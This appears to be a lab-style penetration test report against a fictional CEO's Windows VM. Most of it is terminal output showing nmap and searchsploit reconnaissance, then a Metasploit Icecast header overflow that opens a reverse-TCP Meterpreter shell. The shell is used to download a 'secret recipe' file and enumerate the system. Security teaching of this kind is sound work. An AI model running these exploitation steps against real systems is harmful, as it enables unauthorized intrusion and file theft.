GoodSecurity Penetration Test Report

CarlosMarquez@GoodSecurity.com

08/20/2021

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were

identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings

Machine IP: 192.168.20

Hostname: MSEDGEWIN10

Vulnerability Exploited: windows/http/icecast_header

Vulnerability Explanation:

- The remote web server runs Icecast version 2.0.1 or older. Such versions are affected by an HTTP header buffer overflow vulnerability that may allow an attacker to execute arbitrary code on the remote host with the privileges of the Icecast server process. To exploit this flaw, an attacker needs to send 32 HTTP headers to the remote host to overwrite a return address on the stack.

Severity: High

Proof of Concept:

```
root@kali:~# nmap -sV 192.168.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-19 20:39 PDT
Nmap scan report for 192.168.20 (192.168.0.20)
Host is up (0.0055s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          SLmail smtpd 5.5.0.4433
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8000/tcp open  http          Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds
root@kali:~#
```

```
root@kali:~# searchsploit icecast | head
------------------------------------------------------------------------------------------ ----------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ----------------------------
Icecast 1.1.x/1.3.x - Directory Traversal                                                  | multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name Denial of Service                                    | multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' Format String                                       | windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow                                                       | unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Execution (1)                                          | windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Execution (2)                                          | windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)                                | windows_x86/remote/16763.rb
root@kali:~#
```

```
root@kali:~# msfconsole
```

```
msf5 > search icecast

Matching Modules
================

   #  Name                                  Disclosure Date  Rank   Check  Description
   -  ----                                  ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header   2004-09-28       great  No     Icecast Header Overwrite


msf5 >
```

```
msf5 > use 0
msf5 exploit(windows/http/icecast_header) >
```

```
msf5 exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
```

```
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49735) at 2021-08-19 20:50:04 -0700

meterpreter >
```

```
meterpreter > search -f *secret*

Found 8 results...
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\application\secret_agent.rb (406 bytes)
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\face\secret_agent.rb (1868 bytes)
    c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\user.secretfile.txt.lnk (655 bytes)
    c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
    c:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1935.1.4\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1697_none_899a2eb150028d53\f\ms-secretattributecars.ldf (50 bytes)
    c:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1935.1.4\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1697_none_899a2eb150028d53\r\ms-secretattributecars.ldf (50 bytes)
    c:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1697_none_899a2eb150028d53\MS-SecretAttributeCARs.LDF (1212 bytes)
    c:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1_none_2ceb21abd64b2e5f\MS-SecretAttributeCARs.LDF (1212 bytes)
```

```
meterpreter > search -f *recipe*
Found 2 results...
    c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\Drinks.recipe.txt.lnk (643 bytes)
    c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
```

```
meterpreter > download 'c:\Users\IEUser\Documents\Drinks.recipe.txt'
[*] Downloading: c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.txt
[*] Downloaded 48.00 B of 48.00 B (100.0%): c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.txt
[*] download   : c:\Users\IEUser\Documents\Drinks.recipe.txt -> Drinks.recipe.txt
meterpreter >
```

```
meterpreter > shell
Process 4456 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Program Files (x86)\Icecast2 Win32>cd c:\
cd c:\

c:\>cd Users\IEUser\Documents\
cd Users\IEUser\Documents\
```

```
c:\Users\IEUser\Documents>dir
dir
 Volume in drive C is Windows 10
 Volume Serial Number is B009-E7A9

 Directory of c:\Users\IEUser\Documents

08/17/2021  08:15 PM    <DIR>          .
08/17/2021  08:15 PM    <DIR>          ..
04/17/2020  08:54 AM                48 Drinks.recipe.txt
04/10/2020  12:52 AM                43 password.txt
04/17/2020  08:57 AM               161 user.secretfile.txt
03/19/2019  06:21 AM    <DIR>          WindowsPowerShell
               3 File(s)            252 bytes
               3 Dir(s)  18,976,219,136 bytes free
```

```
c:\Users\IEUser\Documents>type Drinks.recipe.txt
type Drinks.recipe.txt
Put the lime in the coconut and drink it all up!
c:\Users\IEUser\Documents>
```

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
meterpreter >
```

```
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000   MSEDGEWIN10\IEUser


[+] Results saved in: /root/.msf4/loot/20210819220358_default_192.168.0.20_host.users.activ_858757.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       %systemroot%\ServiceProfiles\LocalService
 S-1-5-20                                       %systemroot%\ServiceProfiles\NetworkService
 S-1-5-21-321011808-3761883066-353627080-1000   C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003   C:\Users\sysadmin
 S-1-5-21-321011808-3761883066-353627080-1004   C:\Users\vagrant
```

```
meterpreter > shell
Process 6324 created.
Channel 4 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Icecast2 Win32>systeminfo
systeminfo

Host Name:                 MSEDGEWIN10
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 4:59:35 AM
System Boot Time:          8/19/2021, 9:33:11 PM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2394 Mhz
BIOS Version:              American Megatrends Inc. 090007 , 5/18/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     1,758 MB
Available Physical Memory: 734 MB
Virtual Memory: Max Size:  3,038 MB
Virtual Memory: Available: 1,619 MB
Virtual Memory: In Use:    1,419 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\MSEDGEWIN10
Hotfix(s):                 11 Hotfix(s) Installed.
                           [01]: KB4601555
                           [02]: KB4465065
                           [03]: KB4470788
                           [04]: KB4480056
                           [05]: KB4486153
                           [06]: KB4535680
                           [07]: KB4537759
                           [08]: KB4539571
                           [09]: KB4549947
                           [10]: KB5003243
                           [11]: KB5003171
Network Card(s):           1 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.0.20
                                 [02]: fe80::19ba:64e7:838c:b1b6
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

C:\Program Files (x86)\Icecast2 Win32>
```

```
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

3.0 Recommendations

- Upgrade to Icecast 2.0.2 or later.
- Encrypt all files that you want to keep “secret.”